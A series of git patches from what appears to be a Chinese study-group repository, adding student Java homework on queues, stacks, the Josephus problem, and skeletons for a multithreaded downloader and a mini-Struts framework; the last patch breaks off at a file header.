diff --git a/group06/949319266/jvm5/src/com/ecust/jvm5/QueueWithTwoStacks.java b/group06/949319266/jvm5/src/com/ecust/jvm5/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..052cf6d444
--- /dev/null
+++ b/group06/949319266/jvm5/src/com/ecust/jvm5/QueueWithTwoStacks.java
@@ -0,0 +1,162 @@
+package com.ecust.jvm5;
+
+import java.util.Stack;
+
+
+
+/**
+
+ * 用两个栈来实现一个队列
+
+ * @author liuxin
+
+ *
+
+ * @param <E>
+
+ */
+
+public class QueueWithTwoStacks<E> {
+
+	private Stack<E> stack1;    
+
+    private Stack<E> stack2;    
+
+
+
+    
+
+    public QueueWithTwoStacks() {
+
+        stack1 = new Stack<E>();
+
+        stack2 = new Stack<E>();
+
+    }
+
+
+
+   
+
+    
+
+
+
+    public boolean isEmpty() {
+
+        return stack1.isEmpty();
+
+    }
+
+
+
+
+
+    
+
+    public int size() {
+
+        return stack1.size();
+
+    }
+
+
+
+
+
+
+
+    public void enQueue(E item) {
+
+        stack1.push(item);
+
+    }
+
+
+
+    public E deQueue() {
+
+        if (stack1.isEmpty()) {
+
+            return null;
+
+        }
+
+        while (!stack1.isEmpty()) {
+
+            stack2.push(stack1.pop());
+
+        }
+
+        E e = stack2.pop();
+
+        while (!stack2.isEmpty()) {
+
+            stack1.push(stack2.pop());
+
+        }
+
+        return e;
+
+    }
+
+
+
+    public static void main(String[] args) {
+
+        QueueWithTwoStacks queue = new QueueWithTwoStacks();
+
+        queue.enQueue(1);
+
+        queue.enQueue(2);
+
+        queue.enQueue(3);
+
+        queue.enQueue(4);
+
+        queue.enQueue(5);
+
+        queue.enQueue(6);
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());System.out.println(queue.deQueue());System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        queue.enQueue(7);
+
+        queue.enQueue(8);
+
+        queue.enQueue(9);
+
+        queue.enQueue(0);
+
+        queue.enQueue(1);
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+
+
+
+
+    }
+
+
+
+ }
+

From 3ea2bffa094ad77cc177a9c8a543a27ff0933a64 Mon Sep 17 00:00:00 2001
From: Jiandan1357 <s20160705@xs.ustb.edu.cn>
Date: Sun, 7 May 2017 21:43:42 +0800
Subject: [PATCH 227/262] 8week&9week

8week&9week
---
 group23/601689050/8weekQueue/CircleQueue.java | 44 ++++++++++
 group23/601689050/8weekQueue/Josephus.java    | 50 ++++++++++++
 group23/601689050/8weekQueue/Queue.java       | 55 +++++++++++++
 .../8weekQueue/QueueWithTwoStacks.java        | 47 +++++++++++
 .../601689050/9weekStack/QuickMinStack.java   | 50 ++++++++++++
 .../9weekStack/StackWithTwoQueues.java        | 52 ++++++++++++
 .../9weekStack/TwoStackInOneArray.java        | 81 +++++++++++++++++++
 7 files changed, 379 insertions(+)
 create mode 100644 group23/601689050/8weekQueue/CircleQueue.java
 create mode 100644 group23/601689050/8weekQueue/Josephus.java
 create mode 100644 group23/601689050/8weekQueue/Queue.java
 create mode 100644 group23/601689050/8weekQueue/QueueWithTwoStacks.java
 create mode 100644 group23/601689050/9weekStack/QuickMinStack.java
 create mode 100644 group23/601689050/9weekStack/StackWithTwoQueues.java
 create mode 100644 group23/601689050/9weekStack/TwoStackInOneArray.java

diff --git a/group23/601689050/8weekQueue/CircleQueue.java b/group23/601689050/8weekQueue/CircleQueue.java
new file mode 100644
index 0000000000..7ca98467ec
--- /dev/null
+++ b/group23/601689050/8weekQueue/CircleQueue.java
@@ -0,0 +1,44 @@
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class CircleQueue{
+
+    private int size;
+    private int first;
+    private int last;
+    Object[] queue;
+
+    public CircleQueue(int size){
+        queue = new Object[size];
+        first = 0;
+        last = 0;
+    }
+
+    public boolean isEmpty(){
+        return first == last;
+    }
+
+    public void enCircleQueue(Object o){
+        if( (last+1) % size == first){
+               System.out.println("Circle Queue is full");
+        }else {
+            queue[last] = o;
+            last = (last+1) % queue.length;
+        }
+    }
+
+    public int getSize(){
+        return (last - first + queue.length) % queue.length;
+    }
+
+    public Object deCircleQueue(){
+        if(isEmpty()){
+            return null;
+        }else{
+            Object item = queue[first];
+            first = (first+1)%queue.length;
+            return item;
+        }
+
+    }
+}
diff --git a/group23/601689050/8weekQueue/Josephus.java b/group23/601689050/8weekQueue/Josephus.java
new file mode 100644
index 0000000000..6e24811da3
--- /dev/null
+++ b/group23/601689050/8weekQueue/Josephus.java
@@ -0,0 +1,50 @@
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+
+
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * @author
+ *
+ */
+public class Josephus {
+
+    private static class Node {
+        int data;
+        Node next;
+
+        public Node(int i) {
+            data = i;
+        }
+    }
+
+    public static void execute(int n, int m) {
+
+        Node header = new Node(0);
+        Node pointer = header;
+        for (int i = 1; i < n; i++) {
+            pointer.next = new Node(i);
+            pointer = pointer.next;
+        }
+        pointer.next = header;
+        while (pointer != pointer.next) {
+            for (int i = 1; i <= m; i++) {
+                pointer = pointer.next;
+            }
+            System.out.println(pointer.next.data);
+            pointer.next = pointer.next.next;
+        }
+        System.out.println(pointer.next.data);
+
+    }
+    public static void main(String args[]){
+        Josephus circle = new Josephus();
+        circle.execute(8,4);
+    }
+}
diff --git a/group23/601689050/8weekQueue/Queue.java b/group23/601689050/8weekQueue/Queue.java
new file mode 100644
index 0000000000..bdfd22b16f
--- /dev/null
+++ b/group23/601689050/8weekQueue/Queue.java
@@ -0,0 +1,55 @@
+import javax.xml.soap.Node;
+import java.util.NoSuchElementException;
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class Queue<E> {
+
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+    private static class Node<E>{
+        private E item;
+        private Node<E> next;
+    }
+    public Queue(){
+        first = null;
+        last = null;
+        size = 0;
+    }
+    public boolean isEmpty(){
+        return first == null;
+    }
+    public int size(){
+        return size;
+    }
+    public void enQueue(E data){
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if(isEmpty()){
+            first = last;
+        }else {
+            oldlast.next = last;
+        }
+        size++;
+    }
+    public E deQueue(){
+        if(isEmpty()){
+            throw new NoSuchElementException("queue is empty");
+        }else{
+            E item = first.item;
+            first = first.next;
+            size--;
+            if(isEmpty()){
+                last = null;
+            }
+            return item;
+        }
+    }
+
+
+}
diff --git a/group23/601689050/8weekQueue/QueueWithTwoStacks.java b/group23/601689050/8weekQueue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..c8976aca56
--- /dev/null
+++ b/group23/601689050/8weekQueue/QueueWithTwoStacks.java
@@ -0,0 +1,47 @@
+import java.util.Stack;
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+    public QueueWithTwoStacks(){
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty(){
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+    public int size()
+    {
+        return stack1.size() + stack2.size();
+    }
+
+    public void enQueue(E item){
+
+        stack1.push(item);
+    }
+
+    public E deQueue(){
+        if(stack2.isEmpty()){
+            while(!stack1.isEmpty()){
+                stack2.push(stack1.pop());
+            }
+        }
+        return stack2.pop();
+    }
+    public static void main(String args[]){
+        QueueWithTwoStacks queue = new QueueWithTwoStacks();
+        queue.enQueue(1);
+        queue.enQueue(5);
+        queue.enQueue(4);
+        queue.enQueue(0);
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+    }
+}
diff --git a/group23/601689050/9weekStack/QuickMinStack.java b/group23/601689050/9weekStack/QuickMinStack.java
new file mode 100644
index 0000000000..4033461599
--- /dev/null
+++ b/group23/601689050/9weekStack/QuickMinStack.java
@@ -0,0 +1,50 @@
+/**
+ * Created by lxx on 2017/5/6.
+ */
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack extends Stack<Integer> {
+
+    Stack<Integer> sMin;
+    public QuickMinStack(){
+        sMin = new Stack<Integer>();
+    }
+    public void push(int data){
+        if(data <= findMin()){
+            sMin.push(data);
+        }
+        super.push(data);
+    }
+    public Integer pop(){
+        int value = super.pop();
+        if(value == findMin()){
+            sMin.pop();
+        }
+        return value;
+    }
+    public int findMin(){
+        if(sMin.isEmpty()){
+            return Integer.MAX_VALUE;
+        }
+        return sMin.peek();
+    }
+
+    public static void main(String args[]){
+        QuickMinStack stack = new QuickMinStack();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(0);
+        System.out.println(stack.pop().intValue());
+        System.out.println(stack.findMin());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/601689050/9weekStack/StackWithTwoQueues.java b/group23/601689050/9weekStack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..8eb1d996bf
--- /dev/null
+++ b/group23/601689050/9weekStack/StackWithTwoQueues.java
@@ -0,0 +1,52 @@
+import java.util.LinkedList;
+
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class StackWithTwoQueues {
+
+    LinkedList<Integer> queue1=new LinkedList<Integer>();
+    LinkedList<Integer> queue2=new LinkedList<Integer>();
+    public void push(int data){
+        queue1.addLast(data);
+    }
+    public int pop() {
+        if (sSize() > 0) {
+            if (!queue1.isEmpty()) {
+                while (queue1.size() > 1) {
+                    queue2.addLast(queue1.removeFirst());
+                }
+                return queue1.removeFirst();
+            } else {
+                while (queue2.size() > 1) {
+                    queue1.addLast(queue2.removeFirst());
+                }
+                return queue2.removeFirst();
+            }
+        } else {
+            System.out.println("栈空,不能出栈");
+            return Integer.MAX_VALUE;
+        }
+    }
+    public int sSize(){
+        return queue1.size() + queue2.size();
+    }
+    public static void main(String[] args)
+    {
+        StackWithTwoQueues stack=new StackWithTwoQueues();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(4);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        stack.push(5);
+        stack.push(6);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/601689050/9weekStack/TwoStackInOneArray.java b/group23/601689050/9weekStack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..916e1dab3b
--- /dev/null
+++ b/group23/601689050/9weekStack/TwoStackInOneArray.java
@@ -0,0 +1,81 @@
+import java.util.Stack;
+
+/**
+ * Created by lxx on 2017/5/6.
+ */
+public class TwoStackInOneArray {
+
+
+
+    Object[] data = new Object[10];
+
+    private int index1 = 0;
+    private int index2 = data.length - 1;
+
+
+    private boolean isFull() {
+        if (index1 == index2) {
+            return true;
+        } else
+            return false;
+    }
+
+    private void extendCapacity() {
+
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        return null;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return null;
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        return null;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        return null;
+    }
+
+}

From f304b0801e86a58f7d9c698055f297766d6ae0e7 Mon Sep 17 00:00:00 2001
From: sulei <sulei0205@foxmail.com>
Date: Sun, 7 May 2017 21:49:28 +0800
Subject: [PATCH 228/262] =?UTF-8?q?=E4=BD=9C=E4=B8=9A=E8=A1=A5=E4=BA=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/download/DownloadThread.java   |  20 +++
 .../coderising/download/FileDownloader.java   |  73 ++++++++
 .../download/FileDownloaderTest.java          |  59 ++++++
 .../coderising/download/api/Connection.java   |  23 +++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 ++
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 +++
 .../download/impl/ConnectionManagerImpl.java  |  15 ++
 .../coderising/litestruts/LoginAction.java    |  39 ++++
 .../src/com/coderising/litestruts/Struts.java |  34 ++++
 .../com/coderising/litestruts/StrutsTest.java |  43 +++++
 .../src/com/coderising/litestruts/View.java   |  23 +++
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/List.java            |   9 +
 .../src/com/coding/basic/array/ArrayList.java |  35 ++++
 .../src/com/coding/basic/array/ArrayUtil.java |  96 ++++++++++
 .../coding/basic/linklist/LRUPageFrame.java   | 164 +++++++++++++++++
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++++
 .../com/coding/basic/linklist/LinkedList.java | 125 +++++++++++++
 .../com/coding/basic/queue/CircleQueue.java   |  46 +++++
 .../coding/basic/queue/CircleQueueTest.java   |  44 +++++
 .../src/com/coding/basic/queue/Josephus.java  |  39 ++++
 .../com/coding/basic/queue/JosephusTest.java  |  27 +++
 .../src/com/coding/basic/queue/Queue.java     |  61 +++++++
 .../basic/queue/QueueWithTwoStacks.java       |  55 ++++++
 .../src/com/coding/basic/stack/Stack.java     |  24 +++
 .../src/com/coding/basic/stack/StackUtil.java | 168 ++++++++++++++++++
 .../com/coding/basic/stack/StackUtilTest.java |  86 +++++++++
 .../src/com/coding/basic/stack/Tail.java      |   5 +
 .../coding/basic/stack/expr/InfixExpr.java    |  72 ++++++++
 .../basic/stack/expr/InfixExprTest.java       |  52 ++++++
 .../basic/stack/expr/InfixToPostfix.java      |  43 +++++
 .../basic/stack/expr/InfixToPostfixTest.java  |  41 +++++
 .../coding/basic/stack/expr/PostfixExpr.java  |  46 +++++
 .../basic/stack/expr/PostfixExprTest.java     |  41 +++++
 .../coding/basic/stack/expr/PrefixExpr.java   |  52 ++++++
 .../basic/stack/expr/PrefixExprTest.java      |  45 +++++
 .../com/coding/basic/stack/expr/Token.java    |  50 ++++++
 .../coding/basic/stack/expr/TokenParser.java  |  57 ++++++
 .../basic/stack/expr/TokenParserTest.java     |  41 +++++
 42 files changed, 1973 insertions(+)
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/DownloadThread.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloader.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/Connection.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/Struts.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/View.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/Iterator.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/List.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueueTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Queue.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Stack.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Tail.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParserTest.java

diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/DownloadThread.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloader.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloaderTest.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/Connection.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionException.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionManager.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/DownloadListener.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionImpl.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/LoginAction.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/Struts.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..85e2e22de3
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,34 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/StrutsTest.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/StrutsTest.java
